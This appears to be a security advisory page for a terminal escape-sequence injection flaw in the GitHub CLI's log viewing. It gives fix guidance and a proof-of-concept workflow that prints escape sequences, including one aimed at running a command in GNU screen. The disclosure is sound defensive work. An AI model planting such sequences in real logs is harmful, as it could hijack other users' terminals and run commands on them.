Improper Neutralization Affecting github.com/cli/cli/pkg/cmd/run/view package, versions >=1.6.0 <2.92.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.21% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMCLICLIPKGCMDRUNVIEW-16722745
  • published17 May 2026
  • disclosed15 May 2026
  • creditUnknown

Introduced: 15 May 2026

CVE-2026-45803  (opens in a new tab)
CWE-150  (opens in a new tab)

How to fix?

Upgrade github.com/cli/cli/pkg/cmd/run/view to version 2.92.0 or higher.

Overview

Affected versions of this package are vulnerable to Improper Neutralization of escape sequences in log output from commands run with the --log and --log-failed options. An attacker can inject malicious content in workflow logs, which are then rendered unsanitized in some terminal emulators, for other users. This exploit is triggered by the user interacting with the logs from the compromised Github Actions, and may facilitate command execution in some terminal environments.

PoC

name: Escape Sequence PoC

on:
  workflow_dispatch:

jobs:
  emit-escape-sequences:
    runs-on: ubuntu-latest
    steps:
      - name: Emit terminal escape sequences
        run: |
          # OSC title set
          printf 'ESCAPE_MARKER_START \033]0;HIJACKED_TITLE\007 ESCAPE_MARKER_END\n'
          # CSI color
          printf 'ESCAPE_MARKER_START \033[31mRED_TEXT\033[0m ESCAPE_MARKER_END\n'
          # Screen title set (enables command execution in screen terminal)
          printf 'ESCAPE_MARKER_START \033k;malicious command;\033\\ ESCAPE_MARKER_END\n'

CVSS Base Scores

version 4.0
version 3.1